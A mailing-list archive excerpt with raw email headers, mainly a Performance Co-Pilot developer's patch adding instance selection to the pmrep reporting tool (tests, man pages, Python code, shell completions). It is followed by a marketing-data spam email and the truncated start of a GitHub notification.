h=x-gm-message-state:reply-to:to:from:subject:organization:message-id :date:user-agent:mime-version:content-transfer-encoding; bh=sDU+26hCt584lB2gwVA62sBhFw3Myl3gU+5yjH8C/a8=; b=PQSYpuiDLFf8ZPjAQqsnZANpVTPj7/29OIO+v3VJZF5RcUvEFrePgHFYKWDmWs78Wk cBMKqVpCjIKehw0R2J4yJ4B6lCgm0YVTCEZohUZarhEj6cYqeWCb+hgORpG+posXjznk Acbl6lKr5vPWclo4sL/dnRcWK/gG7tZNPT9OWSP/s6lmP0/5rOCoSSKIdYjBgDnVRWDg dhp8HxbPsnS1bdgk2ZcT6LiuIt5SIJwOKPuiQMacKCDpNL4UNX025m4qBeU5/Nu50FnP 1L1CQVGfWrynZoTUED5L2t/Wuo9R/+wXdLmuqK8HcCn+Ghi5XsteyTPBNxIic7+bDuBi 9J5g== X-Gm-Message-State: AA6/9RmKjFkk1DbkgWJ5idInt9CCo/oOyw26t8mWO3a9dOeAEI6/FlJZ+NGg0CXFd4u6jQXZ X-Received: by 10.28.56.195 with SMTP id f186mr750398wma.71.1475824593392; Fri, 07 Oct 2016 00:16:33 -0700 (PDT) Received: from [192.168.1.100] (188-67-104-50.bb.dnainternet.fi. [188.67.104.50]) by smtp.gmail.com with ESMTPSA id jn7sm18169631wjb.5.2016.10.07.00.16.32 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 07 Oct 2016 00:16:32 -0700 (PDT) Reply-To: Marko Myllynen To: pcp developers From: Marko Myllynen Subject: pmrep: add support for specifying instances Organization: Red Hat X-ASG-Orig-Subj: pmrep: add support for specifying instances Message-ID: Date: Fri, 7 Oct 2016 10:16:30 +0300 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.4.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-wm0-f53.google.com[74.125.82.53] X-Barracuda-Start-Time: 1475824595 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 20346 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33536 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, Specifying instances to report is hugely helpful with many metrics, the best example is probably proc.* metrics where there's lots of instances and the user might be interested in only one or two of them. The patch below adds support to pmrep(1) to specify the instances to report, either using globally defined list or instances per metric. The implementation is relatively straightforward, a bit of gymnastics needed to parse the command line vs config file right and to pass more than one parameter to pmTraversePMNS(). QA updated with lots of tests, all current and new QA passing, shell completions updated while at it, man pages updated as well. There are two things that might require further thought: 1) Instance specification can actually be a regex but I'm not yet 100% sure it's a good idea so for now I've left it undocumented, I think it's best we gather a bit of experience and then either document it or remove the regex support. 2) Reporting to archive ignore this in the spirit of pmlogger(1) but it might make sense to respect the instance specification with archives as well. There's been some discussion about this wrt pmlogger earlier, perhaps we could try to find a common consensus for both: https://bugzilla.redhat.com/show_bug.cgi?id=1345821 --- qa/1069 | 23 ++++++++++++ qa/1069.out | 51 ++++++++++++++++++++++++++ src/bashrc/pcp_completion.sh | 2 +- src/pmrep/TODO | 6 ++-- src/pmrep/pmrep.1 | 65 ++++++++++++++++++++++++++++++--- src/pmrep/pmrep.conf | 1 + src/pmrep/pmrep.conf.5 | 10 +++++- src/pmrep/pmrep.py | 86 +++++++++++++++++++++++++++++++++++++++++--- src/zshrc/_pcp | 3 +- 9 files changed, 232 insertions(+), 15 deletions(-) diff --git a/qa/1069 b/qa/1069 index 41955fc..c313901 100755 --- a/qa/1069 +++ b/qa/1069 @@ -160,6 +160,29 @@ pmrep -s 1 pmcd.version | sed -e "s/$pcp_version/PCP_VERSION/g" echo "== divide-by-zero error handling" pmrep -t .01 -s 1 -e 'fail = sample.long.one / 0' fail +echo "== user-requested instance handling" +pmrep -s 1 -i wrong $log2 disk.dev.read +pmrep -s 1 -i wrong $log2 mem.util.free +pmrep -s 1 -i wrong $log2 disk.dev.read mem.util.free +pmrep -s 1 -i wrong,sda $log2 disk.dev.read +pmrep -s 1 -i wrong,sda,wrong $log2 disk.dev.read +pmrep -s 1 -i '"1 minute",wrong,sda,"5 minute","still,wrong"' $log2 disk.dev.read kernel.all.load +pmrep -s 1 -i '"1 minute",wrong,"5 minute"' $log2 kernel.all.load,,"1 minute",,,16 +pmrep -s 1 -i "1 minute" -i wrong -i "5 minute" $log2 kernel.all.load +pmrep -s 1 $log2 disk.dev.read,,sda +pmrep -s 1 $log2 disk.dev.read,,sda,,,16 +pmrep -s 1 $log2 disk.dev.read,,"'sda','sdb'" +pmrep -s 1 $log2 disk.dev.read,,"'sda','sdb'",,,16 +echo '[test]' > $tmp.pconfig +echo 'instances = wrong' >> $tmp.pconfig +echo 'sysfork = kernel.all.sysfork' >> $tmp.pconfig +echo 'mem.util.free = free,,,,16' >> $tmp.pconfig +# We want: kernel.all.load = load,"'1 minute','5 minute','15 min'",,,16 +echo "kernel.all.load = load,\"'1 minute','5 minute','15 min'\",,,16" >> $tmp.config +echo 'disk.dev.read = read,sda,,,16' >> $tmp.config +echo 'disk.dev.write = write,wrong,,,16' >> $tmp.config +pmrep -s 1 $log2 :test + echo "== exercise option priority" echo '[options]' > $tmp.pconfig echo 'header = yes' >> $tmp.pconfig diff --git a/qa/1069.out b/qa/1069.out index f1b93d3..28169fb 100644 --- a/qa/1069.out +++ b/qa/1069.out @@ -252,6 +252,57 @@ Incompatible configuration file version (read v99, need v1). fail inf +== user-requested instance handling +No matching instances found. + +Requested instances: +wrong + m.u.free + Kbyte + 38220 + m.u.free + Kbyte + 38220 + d.d.read + sda + count/s + N/A + d.d.read + sda + count/s + N/A + d.d.read k.a.load k.a.load + sda 1 minute 5 minute + count/s + N/A 0.820 0.700 + k.a.load + 1 minute + + 0.820 + k.a.load k.a.load + 1 minute 5 minute + + 0.820 0.700 + d.d.read + sda + count/s + N/A + d.d.read + sda + count/s + N/A + d.d.read d.d.read + sda sdb + count/s count/s + N/A N/A + d.d.read d.d.read + sda sdb + count/s count/s + N/A N/A + k.a.sysfork free load load read + 1 minute 5 minute sda + count/s Kbyte count/s + N/A 38220 0.820 0.700 N/A == exercise option priority m.u.free Kbyte diff --git a/src/bashrc/pcp_completion.sh b/src/bashrc/pcp_completion.sh index cb33687..4531590 100644 --- a/src/bashrc/pcp_completion.sh +++ b/src/bashrc/pcp_completion.sh @@ -41,7 +41,7 @@ _pcp_complete() ;; pmrep) - opt_regex="-[AabcEeFfhKlOoPqSsTtwyZ]" + opt_regex="-[AaBbcCdDeEfFGhHiKLloOpPqQrsStTuUVwxyYzZ]" curpos_expand=1 ;; diff --git a/src/pmrep/TODO b/src/pmrep/TODO index 23f6cb4..317b4a7 100644 --- a/src/pmrep/TODO +++ b/src/pmrep/TODO @@ -1,4 +1,3 @@ -- allow defining instances to display [-i] - opt to write cols per row with stdout output [-k] - opt to swap cols and rows (e.g., compare ps vs sar) - -Q/-B/-Y to override per-metric settings unit/scale @@ -19,6 +18,7 @@ - includedir config file support (?) - generalised daemon startup support (?) - multi-sheet support for xlsx output (?) +- consider using the csv module for csv output (?) - add option to prevent truncating string output (?) - generalized zabbix_interval (limit writes to archive) (?) - support for multiple output targets (e.g. archive+stdout) (?) @@ -27,10 +27,10 @@ ----- In use / reserved cmd line options: -AaBbcCdDeEfFGhHKLloOpPqQrsStTuUVwxyYzZ +AaBbcCdDeEfFGhHiKLloOpPqQrsStTuUVwxyYzZ Tentatively planned: -IikMmR +IkMmR Available: gJjNnXvW diff --git a/src/pmrep/pmrep.1 b/src/pmrep/pmrep.1 index 0489953..11b67dc 100644 --- a/src/pmrep/pmrep.1 +++ b/src/pmrep/pmrep.1 @@ -32,6 +32,7 @@ [\f3\-f\f1 \f2format\f1] [\f3\-F\f1 \f2outfile\f1] [\f3\-h\f1 \f2host\f1] +[\f3\-i\f1 \f2instances\f1] [\f3\-K\f1 \f2spec\f1] [\f3\-l\f1 \f2delimiter\f1] [\f3\-o\f1 \f2output\f1] @@ -47,6 +48,22 @@ [\f3\-Z\f1 \f2timezone\f1] \f2metricspec [...]\f1 .SH DESCRIPTION +.de EX +.in +0.5i +.ie t .ft CB +.el .ft B +.ie t .sp .5v +.el .sp +.ta \\w' 'u*8 +.nf +.. +.de EE +.fi +.ie t .sp .5v +.el .sp +.ft R +.in +.. .B pmrep is a customizable performance metrics reporting tool. Any available performance metric, live or archived, system and/or application, @@ -149,7 +166,12 @@ and see below). The optional .I instance -definition is currently unimplemented. +definition restricts +.I csv +and +.I stdout +reporting to the specified instances (so non-matching instances +will be filtered). An optional .I unit/scale is applicable for dimension-compatible, non-string, and (currently) @@ -204,7 +226,7 @@ kernel.all.sysfork,forks,,,,8 .ft R .in .P -The third form of a metricspec is valid only in +The third form of a metricspec is described and valid only in .BR pmrep.conf (5). .P Derived metrics are specified like PMNS leaf node metrics. @@ -347,6 +369,43 @@ rather than the default localhost. .B \-H Do not print any headers. .TP +.B \-i +Report only the listed +.I instances +(if present). +By default all current instances are reported. +This is a global option that is used for all metrics unless a +metric-specific instance definition is provided as part of a +.IR metricspec . +Metrics without instances are reported as usual. +.RS +.PP +The list may consist of one or more comma-separated instances. +The instance name may be quoted with single (') or double (") +quotes for those cases where the instance name contains commas +or white space. Note that on the command line when specifying +more than one instance, all the names must be quoted. +.PP +Multiple +.B \-i +options are allowed as an alternative way of specifying more than +one instance of interest. +.PP +As an example, the following would report the same instances: +.EX +$ pmrep \-i "'1 minute','5 minute'" kernel.all.load +$ pmrep \-i '"1 minute","5 minute"' kernel.all.load +$ pmrep \-i "'1 minute'" -i "'5 minute'" kernel.all.load +$ pmrep kernel.all.load,,"'1 minute','5 minute'" +$ pmrep kernel.all.load,,'"1 minute","5 minute"' +.EE +.PP +However, this would report only the 1-minute instance: +.EX +$ pmrep \-i '"1 minute","5 minute"' kernel.all.load,,"1 minute" +.EE +.RE +.TP .B \-K When fetching metrics from a local context (see .BR \-L ), @@ -705,8 +764,6 @@ System provided configuration file. .PD .SH BUGS No command line option can follow metrics. - -Specifying instances is not yet supported. .SH "PCP ENVIRONMENT" Environment variables with the prefix .B PCP_ diff --git a/src/pmrep/pmrep.conf b/src/pmrep/pmrep.conf index d31e483..fcdd8e5 100644 --- a/src/pmrep/pmrep.conf +++ b/src/pmrep/pmrep.conf @@ -17,6 +17,7 @@ #interval = 1s #delay = no #type = default +#instances = #width = #precision = 3 #delimiter = diff --git a/src/pmrep/pmrep.conf.5 b/src/pmrep/pmrep.conf.5 index a2d0bb7..48550bc 100644 --- a/src/pmrep/pmrep.conf.5 +++ b/src/pmrep/pmrep.conf.5 @@ -195,6 +195,13 @@ Corresponding command line option is \fB-r\fR. Allowed values are \fBdefault\fR or \fBraw\fR. .RE .P +instances (string) +.RS 4 +Defines the instances to be reported. Corresponding command line +option is \fB-i\fR. Undefined (all current instances are reported) +by default. +.RE +.P width (integer) .RS 4 Indicates the width of stdout output columns. Corresponding command line @@ -383,7 +390,8 @@ see .BR pmRegisterDerived (3). .TP 2 .I instance -This specifier is currently recognized but not implemented. +Defines the instances to be reported for the metric. For details, see +.BR pmrep (1). .TP 2 .I unit Defines the unit/scale conversion for the metric. Needs to be diff --git a/src/pmrep/pmrep.py b/src/pmrep/pmrep.py index 977cf7b..d35561b 100755 --- a/src/pmrep/pmrep.py +++ b/src/pmrep/pmrep.py @@ -58,6 +58,7 @@ import errno import time import math import copy +import csv import sys import os import re @@ -173,7 +174,7 @@ class PMReporter(object): 'extheader', 'repeat_header', 'timefmt', 'interpol', 'count_scale', 'space_scale', 'time_scale', 'version', 'zabbix_server', 'zabbix_port', 'zabbix_host', 'zabbix_interval', - 'speclocal') + 'speclocal', 'instances') # Special command line switches self.arghelp = ('-?', '--help', '-V', '--version') @@ -204,6 +205,7 @@ class PMReporter(object): self.runtime = -1 self.delay = 0 self.type = 0 + self.instances = [] self.width = 0 self.precision = 3 # .3f self.delimiter = None @@ -223,12 +225,14 @@ class PMReporter(object): self.pmfg_ts = None # Corresponding config file metric specifiers - self.metricspec = ('label', 'instance', 'unit', 'type', 'width', 'formula') + self.metricspec = ('label', 'instances', 'unit', 'type', 'width', 'formula') self.pmids = [] self.descs = [] self.insts = [] + self.tmp = [] + # Zabbix integration self.zabbix_server = None self.zabbix_port = ZBXPORT @@ -242,7 +246,7 @@ class PMReporter(object): opts = pmapi.pmOptions() opts.pmSetOptionCallback(self.option) opts.pmSetOverrideCallback(self.option_override) - opts.pmSetShortOptions("a:h:LK:c:Co:F:e:D:V?HUGpA:S:T:O:s:t:Z:zdrw:P:l:xE:f:uq:b:y:") + opts.pmSetShortOptions("a:h:LK:c:Co:F:e:D:V?HUGpA:S:T:O:s:t:Z:zdri:w:P:l:xE:f:uq:b:y:") opts.pmSetShortUsage("[option...] metricspec [...]") opts.pmSetLongOptionHeader("General options") @@ -276,6 +280,7 @@ class PMReporter(object): opts.pmSetLongOptionHostZone() # -z/--hostzone opts.pmSetLongOption("delay", 0, "d", "", "delay, pause between updates for archive replay") opts.pmSetLongOption("raw", 0, "r", "", "output raw counter values (no rate conversion)") + opts.pmSetLongOption("instances", 1, "i", "STR", "instances to report (default: all current)") opts.pmSetLongOption("width", 1, "w", "N", "default column width") opts.pmSetLongOption("precision", 1, "P", "N", "N digits after the decimal separator (if width enough)") opts.pmSetLongOption("delimiter", 1, "l", "STR", "delimiter to separate csv/stdout columns") @@ -340,6 +345,8 @@ class PMReporter(object): self.delay = 1 elif opt == 'r': self.type = 1 + elif opt == 'i': + self.instances = self.instances + self.parse_instances(optarg) elif opt == 'w': self.width = int(optarg) elif opt == 'P': @@ -388,6 +395,16 @@ class PMReporter(object): break return config + def parse_instances(self, instances): + """ Parse user-supplied instances string """ + insts = [] + reader = csv.reader([instances]) + for i, inst in enumerate(list(reader)[0]): + if inst.startswith('"') or inst.startswith("'"): + inst = inst[1:-1] + insts.append(inst) + return insts + def set_attr(self, name, value): """ Helper to apply config file settings properly """ if value in ('true', 'True', 'y', 'yes', 'Yes'): @@ -418,6 +435,8 @@ class PMReporter(object): def read_config(self): """ Read options from configuration file """ + if not self.config: + return config = ConfigParser.SafeConfigParser() config.read(self.config) if not config.has_section('options'): @@ -436,12 +455,41 @@ class PMReporter(object): if pmapi.c_api.pmGetOptionsFromList(sys.argv): raise pmapi.pmUsageErr() + def parse_metric_spec_instances(self, spec): + """ Parse instances from metric spec """ + insts = [None] + if spec.count(",") < 2: + return spec + ",,", insts + # User may supply quoted or unquoted instance specification + # Conf file preservers outer quotes, command line does not + # We need to detect which is the case here. What a mess. + quoted = 0 + s = spec.split(",")[2] + if s and (s[1] == "'" or s[1] == '"'): + quoted = 1 + if spec.count('"') or spec.count("'"): + inststr = spec.partition(",")[2].partition(",")[2] + q = inststr[0] + inststr = inststr[:inststr.rfind(q)+1] + if quoted: + insts = self.parse_instances(inststr[1:-1]) + else: + insts = self.parse_instances(inststr) + spec = spec.replace(inststr, "") + else: + insts = [s] + if spec.count(",") < 2: + spec += ",," + return spec, insts + def parse_metric_info(self, metrics, key, value): """ Parse metric information """ # NB. Uses the config key, not the metric, as the dict key if ',' in value: # Compact / one-line definition - metrics[key] = (key + "," + value).split(",") + spec, insts = self.parse_metric_spec_instances(key + "," + value) + metrics[key] = spec.split(",") + metrics[key][2] = insts else: # Verbose / multi-line definition if not '.' in key or key.rsplit(".", 1)[1] not in self.metricspec: @@ -492,7 +540,9 @@ class PMReporter(object): if metric.startswith(":"): tempmet[metric[1:]] = None else: - m = metric.split(",") + spec, insts = self.parse_metric_spec_instances(metric) + m = spec.split(",") + m[2] = insts tempmet[m[0]] = m[1:] # Get config and set details for configuration file metric sets @@ -646,6 +696,18 @@ class PMReporter(object): mtype == PM_TYPE_DOUBLE or mtype == PM_TYPE_STRING): raise pmapi.pmErr(PM_ERR_TYPE) + instances = self.instances if not self.tmp[0] else self.tmp + if instances and inst[1][0]: + found = [[], []] + for r in instances: + cr = re.compile('\A' + r + '\Z') + for i, s in enumerate(inst[1]): + if re.match(cr, s): + found[0].append(inst[0][i]) + found[1].append(inst[1][i]) + if not found[0]: + return + inst = found self.pmids.append(pmid) self.descs.append(desc) self.insts.append(inst) @@ -703,7 +765,12 @@ class PMReporter(object): for metric in metrics: try: l = len(self.pmids) + if len(metrics[metric]) > 1: + self.tmp = metrics[metric][1] + if not 'append' in dir(self.tmp): + self.tmp = [None] self.context.pmTraversePMNS(metric, self.check_metric) + self.tmp = [] if len(self.pmids) == l + 1: # Leaf if metric == self.context.pmNameID(self.pmids[l]): @@ -721,6 +788,15 @@ class PMReporter(object): sys.stderr.write("Invalid metric %s (%s).\n" % (metric, str(error))) sys.exit(1) + # Exit if no metrics with specified instances found + if not self.insts: + sys.stderr.write("No matching instances found.\n") + # Try to help the user to get the instance specifications right + if self.instances: + print("\nRequested global instances:") + print("\n".join(self.instances)) + sys.exit(1) + # Finalize the metrics set for i, metric in enumerate(self.metrics): # Fill in all fields for easier checking later diff --git a/src/zshrc/_pcp b/src/zshrc/_pcp index 33c4678..b625164 100644 --- a/src/zshrc/_pcp +++ b/src/zshrc/_pcp @@ -439,6 +439,7 @@ _pcp () { "(-p --timestamps $exargs)"{-p,--timestamps}'[print timestamps]' \ "(-d --delay --container -h --host -L --local-PMDA -K --spec-local -u --no-interpol $exargs)"{-d,--delay}'[delay between updates in archive mode]' \ "(-r --raw $exargs)"{-r,--raw}'[report raw values]' \ + "($exargs)"\*{-i+,--instances}'[specify instances to report]:instances:->instances' \ "(-w --width $exargs)"{-w+,--width}'[set default column width]:width:' \ "(-P --precision $exargs)"{-P+,--precision}'[set floating point precision]:precision:' \ "(-l --delimiter $exargs)"{-l+,--delimiter}'[set column delimiter]:delimiter:' \ @@ -483,7 +484,7 @@ _pcp () { "(-h --host $exargs)"\*{-K+,--spec-local}'[define PMDA spec for local DSO PMDAs]:spec:(add del clear)' \ "(-n --namespace $exargs)"{-n+,--namespace}'[specify alternative PMNS]:pmnsfile:_files' \ "(-f --force $exargs)"{-f,--force}'[store value even if unset]' \ - "($exargs)"{-i+,--insts}'[specify instances to store to]:instances:->instances' \ + "($exargs)"\*{-i+,--insts}'[specify instances to store to]:instances:->instances' \ '1:metric:->metrics' \ && return 0 ;; Thanks, -- Marko Myllynen From SRS0=Zq64y9=VZ=trustdataset.com=henry.carver@yourhostingaccount.com Fri Oct 7 09:32:10 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE, T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CA37B7CA0 for ; Fri, 7 Oct 2016 09:32:09 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 58A32AC002 for ; Fri, 7 Oct 2016 07:32:09 -0700 (PDT) X-ASG-Debug-ID: 1475850722-0bf815671136d2c0001-S8gJnT Received: from walmailout04.yourhostingaccount.com (mailout04.yourhostingaccount.com [65.254.254.70]) by cuda.sgi.com with ESMTP id FXd4YBgOdtyr6IFW (version=TLSv1.1 cipher=ECDHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 07 Oct 2016 07:32:03 -0700 (PDT) X-Barracuda-Envelope-From: SRS0=Zq64y9=VZ=trustdataset.com=henry.carver@yourhostingaccount.com X-Barracuda-Effective-Source-IP: mailout04.yourhostingaccount.com[65.254.254.70] X-Barracuda-Apparent-Source-IP: 65.254.254.70 Received: from mailscan04.yourhostingaccount.com ([10.1.15.4] helo=walmailscan04.yourhostingaccount.com) by walmailout04.yourhostingaccount.com with esmtp (Exim) id 1bsWBu-0008TE-HV for pcp@oss.sgi.com; Fri, 07 Oct 2016 10:32:02 -0400 Received: from [10.114.3.31] (helo=walimpout11) by walmailscan04.yourhostingaccount.com with esmtp (Exim) id 1bsWBu-0005Fo-Fl for pcp@oss.sgi.com; Fri, 07 Oct 2016 10:32:02 -0400 Received: from walauthsmtp13.yourhostingaccount.com ([10.1.18.13]) by walimpout11 with id seXz1t0010GvC8i01eY2dY; Fri, 07 Oct 2016 10:32:02 -0400 X-Authority-Analysis: v=2.1 cv=JOm1sq6b c=1 sm=1 tr=0 a=98qOcNyB16KL63Z3hZrGug==:117 a=4MnaGHGxCrZUwSaYfdCfMw==:17 a=L9H7d07YOLsA:10 a=9cW_t1CCXrUA:10 a=s5jvgZ67dGcA:10 a=CH0kA5CcgfcA:10 a=DAwyPP_o2Byb1YXLmDAA:9 a=H-v7CQ7H4QhqoRuKYPIA:9 a=zkf77unQZ3rZ5ooT:21 a=9pdJRaYtQKDA4ogA:21 a=CjuIK1q_8ugA:10 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=FzZnErWBfFBGQu4sHKQA:9 a=Wfzbg2uf1ktJBTyS:21 a=gKO2Hq4RSVkA:10 a=UiCQ7L4-1S4A:10 a=hTZeC7Yk6K0A:10 a=frz4AuCg-hUA:10 a=BKKCjISod1eDJeS0ORpz:22 a=zjWhRoSqWz9hl55Hdlzg:22 Received: from [49.207.62.64] (port=2929 helo=AdminPC) by walauthsmtp13.yourhostingaccount.com with esmtpsa (TLSv1:AES128-SHA:128) (Exim) id 1bsWBd-0003Me-5p for pcp@oss.sgi.com; Fri, 07 Oct 2016 10:31:47 -0400 Return-Receipt-To: "henry carver" From: "henry carver" To: Subject: Re: Netapp users marketing data Date: Fri, 7 Oct 2016 19:58:48 +0530 X-ASG-Orig-Subj: Re: Netapp users marketing data Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_11AF_01D220D5.A14C22D0" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AdIgEep2vLmrYPdjT8GexTffkZ3Lqw== Content-Language: en-us Disposition-Notification-To: "henry carver" X-EN-UserInfo: 7c4f62e821eb56c76ccece87365fd50f:931c98230c6409dcc37fa7e93b490c27 X-EN-AuthUser: henry.carver@trustdataset.com Sender: "henry carver" X-EN-OrigIP: 49.207.62.64 X-EN-OrigHost: unknown X-Barracuda-Connect: mailout04.yourhostingaccount.com[65.254.254.70] X-Barracuda-Start-Time: 1475850723 X-Barracuda-Encrypted: ECDHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 7433 X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33542 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 HTML_MESSAGE BODY: HTML included in message This is a multipart message in MIME format. ------=_NextPart_000_11AF_01D220D5.A14C22D0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello, I have tried to get in touch with you to regarding Netapp users contacts in my previous email. If you had a chance to review my previous email. Best Regards, Henry Hello, I hope you're the right Person to discuss data acquisition and data services. We have compiled a "Netapp users" contact base for email campaigns and promotion initiatives. These are highly accurate data as its custom built We can provide product wise Netapp users database such as Netapp data storage, Data ONTAP, Cloud ONTAP, Data protection software, Flex array virtualization software, Flex pod, Metro cluster, Snap vault and many more. Data Fields available in the user's database: Company Name, Decision Maker Name, Decision Maker Title, Opt-in Email, Company Mailing Address, Phone Number, FAX Number, Industry Type, SIC Code, Application Type, Web Address, Employees size and Revenue size. Do share your target audience like Technology _______, Geography______, Job title______, We can also provide you with samples to check the fields available. Thanks and looking forward to hear from you! Best Regards Henry Business Development Executive If you do not wish to receive further emails kindly respond as "Unsubscribe" ------=_NextPart_000_11AF_01D220D5.A14C22D0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

 

 

Hello,

 

I have tried to get in = touch with you to regarding Netapp users  contacts in my = previous email.

 

If you had a chance to = review my previous email.

 

Best Regards,

Henry

 

Hello,

 

I hope you’re the = right Person to discuss data acquisition and data services. =

 

We have compiled a = “Netapp users” contact base for email campaigns and promotion = initiatives.

 

These are highly accurate data as its custom = built

 

We can provide = product wise Netapp users database such as Netapp data storage, Data ONTAP, Cloud = ONTAP, Data protection software, Flex array virtualization software, Flex pod, = Metro cluster, Snap vault and many more.

 

Data Fields = available in the user’s database: Company = Name, Decision Maker Name, Decision Maker Title, Opt-in Email, Company Mailing Address, Phone Number, FAX Number, Industry Type, SIC Code, Application = Type, Web Address, Employees size and Revenue size.

 

Do share your target = audience like

Technology = _______,

Geography______, =

Job title______, =

 

We can also provide you = with samples to check the fields available.

 

Thanks and looking forward to hear from = you!

 

Best = Regards

Henry

Business Development = Executive

 

If you do not wish to receive = further emails kindly respond as “Unsubscribe”

 

------=_NextPart_000_11AF_01D220D5.A14C22D0-- From bounces+848413-2b58-pcp=kenj.com.au@sgmail.github.com Fri Oct 7 10:07:50 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=HTML_IMAGE_ONLY_28, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1DE297CA4 for ; Fri, 7 Oct 2016 10:07:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A569C8F8039 for ; Fri, 7 Oct 2016 08:07:46 -0700 (PDT) X-ASG-Debug-ID: 1475852862-0bf815670f36f4d0001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-67.servers.netregistry.net [202.124.241.67]) by cuda.sgi.com with ESMTP id vyJOKi0oKxq57JyF (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 07 Oct 2016 08:07:43 -0700 (PDT) X-Barracuda-Envelope-From: bounces+848413-2b58-pcp=kenj.com.au@sgmail.github.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.67 Received: from o9.sgmail.github.com ([167.89.101.2]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1bsWkL-0006OR-Ed for ; Sat, 08 Oct 2016 02:07:41 +1100 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=github.com; h=from:reply-to:to:in-reply-to:references:subject:mime-version:content-type:content-transfer-encoding:list-id:list-archive:list-post:list-unsubscribe; s=s20150108; bh=YkJIfkPn45bS1ASmEd7rNmkPGC4=; b=VTIZTwfq/IDVNC1n fw7jMU2xGwer10xdlXcH0qCSzOrdStszuTby51xA48ykTaI6IBDc8YruTiua5ftO c29zcuytGjIg2goilSSuDZR7olMSnMker4M2XggC9jI/IGXtP1H1ehDZd+UwIwtD +y5Ltv81/6MU4Nr+QbqgIwr3kFo= X-Barracuda-Effective-Source-IP: o9.sgmail.github.com[167.89.101.2] X-Barracuda-Apparent-Source-IP: 167.89.101.2 X-Barracuda-RBL-IP: 167.89.101.2 X-Barracuda-BBL-IP: 167.89.101.2 Received: by filter0502p1mdw1.sendgrid.net with SMTP id filter0502p1mdw1.24401.57F7BA2D3E 2016-10-07 15:07:25.849990611 +0000 UTC Received: from github-smtp2a-ext-cp1-prd.iad.github.net (github-smtp2a-ext-cp1-prd.iad.github.net [192.30.253.16]) by ismtpd0006p1iad1.sendgrid.net (SG) with ESMTP id D1YvJVc7SY24XmCVoNmTUw for ; Fri, 07 Oct 2016 15:07:25.763 +0000 (UTC) Date: Fri, 07 Oct 2016 08:07:25 -0700 From: Marko Kevac Reply-To: performancecopilot/pcp To: performancecopilot/pcp Message-ID: In-Reply-To: References: Subject: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Mime-Version: 1.0 X-ASG-Orig-Subj: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Content-Type: multipart/alternative; boundary="--==_mimepart_57f7ba2d9006a_3b603fc0c344b2b813418"; charset=UTF-8 Content-Transfer-Encoding: 7bit Precedence: list X-GitHub-Sender: mkevac X-GitHub-Recipient: pcpemail List-ID: performancecopilot/pcp List-Archive: https://github.com/performancecopilot/pcp List-Post: List-Unsubscribe: , X-Auto-Response-Suppress: All X-GitHub-Recipient-Address: pcp@kenj.com.au X-SG-EID: XHgpD0I4dwPyvalfBvzXHjYOnBNKyEST/hu/iWGWJEeuNLifD6jKzbVPu2yz1zjHh3O3OSjLy9qwak zQXYS6aGSh2VWQYl4LP6kTS1Hi2xzbkHHrbb9UwGRZZy/w/PliHnTnPNj4ZxbqNPFzmrL6D1ikZVAi 